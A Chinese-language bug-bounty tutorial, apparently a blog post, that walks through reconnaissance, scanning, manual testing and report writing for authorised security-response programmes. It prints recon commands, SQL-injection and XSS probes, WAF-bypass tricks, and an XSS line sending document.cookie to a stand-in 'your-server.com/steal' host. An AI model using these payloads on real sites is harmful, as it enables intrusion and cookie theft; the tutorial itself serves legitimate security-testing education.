从信息收集到报告提交:手把手教你完成漏洞挖掘实战
2026/7/3 14:38:28 网站建设 项目流程

1. 项目概述:一次完整的漏洞挖掘实战之旅

刚入门安全领域,尤其是想尝试漏洞挖掘的朋友,常常会感到迷茫:我该从哪里开始?知道了几个漏洞类型,但怎么找到目标?找到疑似漏洞后又该怎么验证和提交?整个过程就像面对一堆散落的拼图,知道最终图案很美,却不知从何下手。今天,我就以一个从业者的视角,为你完整拆解一次漏洞挖掘的实战流程,从最开始的“两眼一抹黑”到最终成功提交漏洞报告,手把手带你走一遍。这个过程不仅适用于教育行业的SRC(安全应急响应中心),其核心思路和方法论同样可以迁移到其他任何你想测试的合法目标上。我们的目标不是成为“脚本小子”,而是理解每一步背后的逻辑,建立起属于自己的、可复用的挖掘框架。

2. 漏洞挖掘完整流程设计思路

2.1 核心流程全景图

一次完整的漏洞挖掘,绝非漫无目的地乱撞,而是一次有计划的“侦察-探测-攻击-收尾”行动。我们可以将其拆解为四个核心阶段,形成一个闭环:

  1. 信息收集与目标刻画:这是所有后续工作的基石。目标是尽可能全面地描绘出目标的“数字画像”,包括它的域名、子域名、IP资产、使用的技术栈、开源组件、甚至员工的邮箱格式等。信息越全面,攻击面就暴露得越充分。
  2. 漏洞探测与验证:在收集到的资产和情报基础上,使用自动化工具结合手动测试,寻找潜在的安全弱点。这里的关键是“验证”,工具报的“疑似”漏洞,十有八九是误报,必须手动复现确认。
  3. 漏洞利用与深度测试:对于确认存在的漏洞,需要评估其实际危害。例如,一个SQL注入点,是只能查询数据,还是可以执行系统命令?这一步决定了漏洞的严重等级。
  4. 报告编写与提交:用清晰、专业、可复现的语言将你的发现整理成报告,提交给目标所属的SRC或相关安全团队。一份好的报告能极大提高审核通过率和漏洞评级。

2.2 为什么是这个流程?

这个流程设计遵循了“由外到内、由浅入深”的原则。信息收集是向外扩张,尽可能发现所有入口点;漏洞探测是对这些入口点进行初步的“敲门”测试;漏洞利用是确认门锁是否真的能被打开,以及能打开到什么程度;最后报告提交是规范地告知主人“您的门锁有问题”。跳过信息收集直接扫描,就像蒙着眼睛在迷宫里乱闯,效率极低且容易触碰法律红线。而不经验证就提交报告,则是对自己和审核方时间的不尊重。

3. 第一阶段:深度信息收集实战

信息收集是整个流程中最耗时,但也最能体现技术差异化的环节。高手和新手的差距,往往就在这里拉开。

3.1 基础资产发现

目标是回答:“目标在互联网上到底有哪些东西?”

  1. 域名与子域名枚举

    • 工具选择subfinder,amass,assetfinder是当前社区最活跃、效果最好的工具。我通常会用subfinder打头阵,因为它速度很快。
    • 实操命令示例
      # 使用subfinder查找子域名 subfinder -d target-university.edu.cn -silent | tee subdomains.txt # 使用amass进行更深入的被动枚举和爬取 amass enum -passive -d target-university.edu.cn -o amass_passive.txt amass enum -active -d target-university.edu.cn -brute -w /path/to/wordlist.txt -o amass_active.txt
    • 结果合并与去重:将多个工具的结果合并,并去除重复项和明显无关的域名(如第三方CDN、统计域名)。
      cat subdomains.txt amass_passive.txt amass_active.txt | sort -u > final_subdomains.txt
  2. IP地址与端口探测

    • 解析IP:将发现的子域名解析为IP地址,注意一个IP可能对应多个域名(虚拟主机)。
      cat final_subdomains.txt | dnsx -a -resp-only -silent | sort -u > ips.txt
    • 端口扫描:使用naabumasscan进行快速全端口扫描,再用nmap对开放端口进行服务识别和深度探测。
      # 快速扫描TOP 1000端口 naabu -l ips.txt -silent -o naabu_ports.txt # 对开放了80,443,8080等Web端口的IP,进行HTTP服务探测 cat naabu_ports.txt | grep “:80\|:443\|:8080\|:8443” | cut -d: -f1 | httpx -title -status-code -tech-detect -o web_services.txt

注意:大规模端口扫描会产生大量网络流量,务必控制速率,并在获得明确授权(如SRC测试范围)的范围内进行。对单个目标进行测试时,建议使用-p 80,443,8080,8443这样的参数限定常见Web端口。

3.2 关键情报挖掘(GitHub与网络空间测绘)

这是将目标“立体化”的关键,旨在发现源代码泄露、配置文件、内部系统等隐藏资产。

  1. GitHub信息收集

    • 核心思路:开发人员可能无意中将含有密码、API密钥、内部地址的代码上传到GitHub。我们可以通过搜索语法精准定位。
    • 手动搜索语法示例
      • “target-university.edu.cn” password:搜索包含该校域名和“password”关键词的代码。
      • “target-university” api_key:搜索API密钥。
      • “target-university.edu.cn” config:搜索配置文件。
      • site:github.com “target-university” “.git”:搜索可能泄露的.git目录。
    • 自动化工具辅助GitDorkertruffleHog这类工具可以自动化执行一系列预定义的搜索规则(Dorks),效率更高。你需要准备一个包含上述搜索语料的文本文件(如dorks.txt),然后运行工具。
    • 实操心得:不要只局限于代码仓库,Issues、Wiki、Commit历史甚至Gist中都可能藏有宝藏。我曾在一个已关闭的Issue评论里发现运维人员贴出的错误日志,里面包含了数据库的连接字符串。
  2. 网络空间测绘引擎利用

    • 工具选择:FOFA、Shodan、ZoomEye。FOFA对国内资产收录较好,语法也更符合中文习惯,是入门首选。
    • 核心搜索语法(以FOFA为例)
      • 定位资产domain=“target-university.edu.cn”host=“.edu.cn” && title=“目标大学”
      • 识别技术app=“ThinkPHP” && domain=“.edu.cn”寻找使用特定框架的系统。
      • 发现后台title=“登录” && body=“admin” && domain=“.edu.cn”icon_hash=“-xxx”(通过网站图标哈希值查找相同系统)。
      • 寻找敏感文件domain=“target-university.edu.cn” && body=“phpinfo()”寻找泄露的phpinfo页面。
    • 操作流程:在FOFA网页端进行初步语法探索,找到有效语法后,可以考虑使用其API(如有权限)进行批量查询,将结果(IP:PORT)导出,再交给httpx等工具进行存活验证和特征获取。

3.3 信息整理与攻击面分析

收集来的信息是原始的、杂乱的,必须进行整理,才能转化为可行动的“攻击面”。

  1. 资产清单化:创建一个表格或笔记,至少包含以下字段:域名、IP、端口、服务(如Nginx 1.18)、技术(如Vue.js + SpringBoot)、标题、特殊发现(如.git泄露、phpinfo)。
  2. 攻击面归类
    • Web应用:主站、各子域名系统(教务、OA、图书馆)、后台管理系统。
    • 非Web服务:暴露的Redis、MySQL、MongoDB端口,可能未授权访问。
    • 框架与组件:识别出的ThinkPHP、SpringBoot、Shiro等,对应其已知漏洞。
    • 敏感信息:从GitHub找到的密钥、内部地址。
  3. 制定测试优先级:优先测试那些:
    • 面向公众或学生的重要系统(如选课系统)。
    • 使用了已知存在漏洞的旧版本框架/组件的系统。
    • 存在疑似敏感信息泄露的旁站或子系统。

4. 第二阶段:漏洞探测与验证手法

有了清晰的攻击面地图,我们就可以开始“敲门测试”了。这一阶段是自动化工具与手动智慧的紧密结合。

4.1 自动化工具辅助扫描

定位:作为初步的“广撒网”工具,用于快速发现低垂果实和共性漏洞。

  1. 综合漏洞扫描器Nuclei是当下的王者。它拥有社区维护的数千个漏洞检测模板(POC),覆盖从信息泄露到RCE的各种类型。
    • 实操命令
      # 对之前整理的Web资产进行扫描 cat web_services.txt | nuclei -t /path/to/nuclei-templates/ -o nuclei_results.txt
    • 技巧:不要一次性使用所有模板,可以根据目标技术栈进行筛选。例如,目标主要是Java,就重点使用-t /path/to/templates/java/下的模板。先使用-severity critical,high参数扫描高危漏洞。
  2. 专项漏洞扫描
    • 目录/文件泄露dirsearch,gobuster。使用强大的字典(如SecLists中的字典)进行爆破。
      dirsearch -u https://oa.target-university.edu.cn -e php,asp,aspx,jsp,do,action -w /path/to/big.txt
    • 子域名接管subjackSubOver,用于检测已解析到第三方服务(如GitHub Pages, AWS S3)但该服务账户已失效的子域名,可能导致你接管该子域名。

重要警告:自动化扫描结果,尤其是Nuclei和Dirsearch的发现,90%以上是误报或无害的发现。你必须手动验证每一个“疑似漏洞”。直接提交工具报告是SRC审核中最忌讳的行为之一,很可能导致报告被拒甚至被拉黑。

4.2 手动漏洞挖掘核心思路

手动测试才是体现功力的地方,核心在于理解业务逻辑和输入输出。

  1. 通用漏洞点手动测试

    • SQL注入:在每个输入点(URL参数、表单字段、Cookie、HTTP头)尝试输入单引号and 1=1and 1=2,观察页面响应差异、错误信息。使用时间盲注Payload如and sleep(5)测试。不要使用sqlmap等自动化注入工具进行盲打,除非在明确授权的测试中,手动测试更精准、更可控。
    • XSS(跨站脚本):在搜索框、留言板、个人信息等所有输出点,尝试<script>alert(1)</script><img src=1 onerror=alert(1)>。重点测试反射型XSS(参数直接回显)和存储型XSS(输入被保存后展示给他人)。查看页面源码,看输入是否被原样输出或过滤不全。
    • 逻辑漏洞:这是自动化工具完全无法覆盖的领域。
      • 越权:登录普通用户A,尝试访问、修改、删除用户B的数据(通过修改URL中的ID参数)。
      • 验证码绕过:验证码是否前端校验?是否可重复使用?是否在响应包中直接返回?
      • 业务顺序绕过:能否不支付就确认订单?能否跳过某个步骤直接进入下一步?
      • 密码重置漏洞:修改密码时,是否可以通过修改请求包中的用户ID参数来重置他人密码?验证Token是否可预测?
  2. 针对特定组件的测试

    • 如果信息收集发现目标使用ThinkPHP 5.0.x,立刻搜索其历史RCE漏洞(如5.0.23的RCE),构造特定Payload进行测试。
    • 如果发现Apache Shiro特征,使用ShiroScan等工具测试其反序列化漏洞(如Shiro-550, Shiro-721)。
    • 如果发现Swagger UI接口文档,尝试访问/v2/api-docs等路径,获取完整的API列表,然后对每个API进行未授权访问、参数注入测试。

5. 第三阶段:漏洞利用与深度利用

验证漏洞存在后,我们需要评估其真实危害,这决定了漏洞的“价值”。

5.1 危害评估与证明

  1. 信息泄露漏洞:不仅要证明能读到“aaaa”这样的测试数据,更要尝试读取真实数据,如数据库名、表名、其他用户的隐私信息(需脱敏处理)。截图时,关键信息可以打码,但要能证明数据的真实性。
  2. SQL注入:尝试使用union select语句查询数据库版本@@version、当前用户user()、数据库名database()。证明可以获取系统信息,而不仅仅是布尔判断。
  3. XSS:证明弹窗只是第一步。可以构造一个窃取Cookie的Payload(例如,将Cookie发送到你的接收服务器),证明其能造成实际危害。在SRC测试中,切勿真的窃取他人Cookie,仅证明可行性即可,例如:<script>document.location=‘http://your-server.com/steal?c='+document.cookie</script>,然后在你的服务器日志中查看是否收到请求(请求里不含真实Cookie,仅证明触发成功)。
  4. RCE/文件上传:尝试执行whoamiid命令,或上传一个能输出当前路径的Webshell,证明命令执行权限和当前用户身份。绝对禁止进行破坏性操作,如rm -rf /、删除数据等。

5.2 漏洞链组合思考

单个漏洞危害有限,但组合起来可能产生质变。

  • 案例:首先通过信息收集发现一个旧的、存在SQL注入的子系统。利用SQL注入进行拖库,获得了后台管理员表的用户名和加密密码。通过分析代码泄露或社会工程学,发现密码加密方式很简单(如MD5)。破解或重置密码后,登录后台。在后台又发现一个未鉴权的文件上传点,从而获得服务器权限。
  • 思路:不要孤立地看一个漏洞。一个普通的XSS,如果能打到管理员后台,就可能结合后台功能形成严重的攻击。一个目录遍历,如果能读到配置文件,就可能获得数据库密码,进而渗透内网。

6. 第四阶段:报告编写与提交的艺术

这是临门一脚,报告质量直接关系到漏洞能否被认可和获得奖励。

6.1 漏洞报告核心要素

一份优秀的漏洞报告就像一份严谨的实验报告,必须包含:

  1. 漏洞标题:简明扼要,如“XX大学教务系统存在未授权访问漏洞”。
  2. 漏洞等级:参考SRC的自定级标准(如高危、中危、低危),客观自评。
  3. 漏洞类型:SQL注入、XSS、逻辑越权等。
  4. 影响范围:具体的URL、接口、参数或功能模块。
  5. 详细步骤这是核心!必须提供一步步可复现的操作。
    • 格式:1. 打开URL A。 2. 在输入框B中输入Payload C。 3. 点击按钮D。 4. 观察到现象E(附截图)。 5. 这证明了F问题。
    • 要求:清晰到让一个完全不懂安全但懂技术的工作人员能按照步骤复现。
  6. 漏洞证明:截图、视频(GIF最佳)。截图要包含浏览器地址栏(显示完整URL)和关键的请求/响应信息。可以使用Burp Suite截取HTTP历史记录,但务必整理清晰。
  7. 修复建议:给出具体、可行的修复方案。例如,对于SQL注入,建议“使用参数化查询(Prepared Statement)”;对于XSS,建议“对用户输入进行严格的过滤和输出编码”。
  8. 其他信息:测试使用的浏览器、工具版本等。

6.2 提交注意事项与沟通技巧

  1. 遵守规则:仔细阅读目标SRC的漏洞提交范围、评级标准、测试规范。禁止对生产环境进行破坏性测试、DoS攻击、社工攻击、窃取真实数据等。
  2. 一洞一报:一个报告只提交一个漏洞。如果是同一页面的多个类似问题(如多个参数都存在XSS),可以合并,但需逐一列出。
  3. 文明沟通:审核人员可能很忙,回复慢或初次评级较低是常事。用证据和逻辑进行友好沟通,说明你认为漏洞危害更大的理由,而不是争吵。
  4. 持续跟进:报告提交后,定期查看状态。如果被要求补充信息,及时、详细地补充。

7. 常见问题与排查技巧实录

在实际操作中,你会遇到各种各样的问题。这里记录一些典型的“坑”和解决思路。

7.1 信息收集阶段

  • 问题:子域名枚举工具跑不出结果或结果很少。
    • 排查:检查目标域名是否有效;尝试更换DNS解析服务器(如使用8.8.8.8);使用amass-active模式并配合强大的子域名字典;检查是否触发了目标的防护策略(如频率限制),适当调整延迟参数-delay
  • 问题:HTTPX探测时,大量域名超时或返回异常状态码(如429,403)。
    • 排查:这可能是目标使用了WAF(Web应用防火墙)或速率限制。增加-timeout参数,降低并发线程-threads,并添加随机延迟-delay。对于403/401,可以尝试添加一些常见的请求头,如-H ‘User-Agent: Mozilla...‘

7.2 漏洞探测与验证阶段

  • 问题:手动测试SQL注入时,无论输入什么,页面都返回相同的错误页面(可能是WAF拦截)。
    • 排查:尝试使用混淆技巧。例如,将and 1=1写成anandd 1=1(WAF可能过滤and,但拼接后变成and);使用注释符分割/*!and*/ 1=1;尝试HTTP参数污染(HPP),如?id=1&id=2‘ and ‘1‘=‘1。观察哪种方式能绕过。
  • 问题:发现一个疑似存储型XSS的点,但输入Payload后,前端显示被过滤了。
    • 排查:查看网页源码,看你的输入被如何处理。是直接被删除,还是被HTML编码了(如<变成&lt;)?尝试闭合现有的HTML标签,或使用JavaScript事件属性如onmouseover,onfocus,或利用SVG标签<svg onload=alert(1)>。测试大小写、双写、编码绕过(如<img src=1 onerror=alert(1)>)。
  • 问题:Nuclei扫描报告了一个漏洞,但按照报告中的URL和Payload去手动测试,却没有复现。
    • 排查:这是最常见的误报。首先,确认你访问的URL和工具测试的URL完全一致(包括端口、路径、参数)。其次,检查Payload是否具有时效性(可能漏洞已被修复)。最后,查看工具的请求响应详情,有时工具是根据一个模糊的特征(如页面包含某个字符串)判断的,而这个特征可能正常页面也存在。始终以手动复现为准。

7.3 心态与习惯养成

  • 保持耐心:漏洞挖掘是“枯燥-惊喜”的循环。可能几天甚至几周都没有实质性发现,这是常态。持续的信息收集和手动测试,总会有收获。
  • 做好记录:使用笔记软件(如Obsidian, Notion)或本地文档,详细记录每个目标的资产、测试过的点、测试Payload、测试结果。这能避免重复劳动,并在发现漏洞链时快速回溯。
  • 关注动态:跟进安全社区(如Seebug、先知、奇安信攻防社区)、框架官方漏洞公告、GitHub安全趋势。一个新的公开POC,可能就是你的突破口。
  • 法律与道德底线:始终在合法授权的范围内进行测试。未经授权的测试是违法行为。SRC、众测平台、企业授权的渗透测试是唯一正确的途径。技术是用来防御和建设的,不是用来破坏的。

漏洞挖掘是一条需要不断学习、实践和总结的道路。这套流程框架为你提供了一个清晰的起点,但真正的能力来源于在每个环节的深度思考和大量实践。从今天起,选择一个你有兴趣的、在SRC范围内的目标,按照这个流程,踏出你的第一步吧。记住,第一个漏洞,无论大小,都将是你在安全道路上最重要的里程碑。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询